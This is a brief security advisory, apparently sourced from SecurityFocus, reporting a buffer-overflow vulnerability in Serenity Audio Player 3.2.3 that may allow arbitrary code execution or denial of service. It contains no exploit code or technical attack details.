source: https://www.securityfocus.com/bid/39768/info
 
Serenity Audio Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
 
Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
 
Serenity Audio Player 3.2.3 is vulnerable; other versions may also be affected.
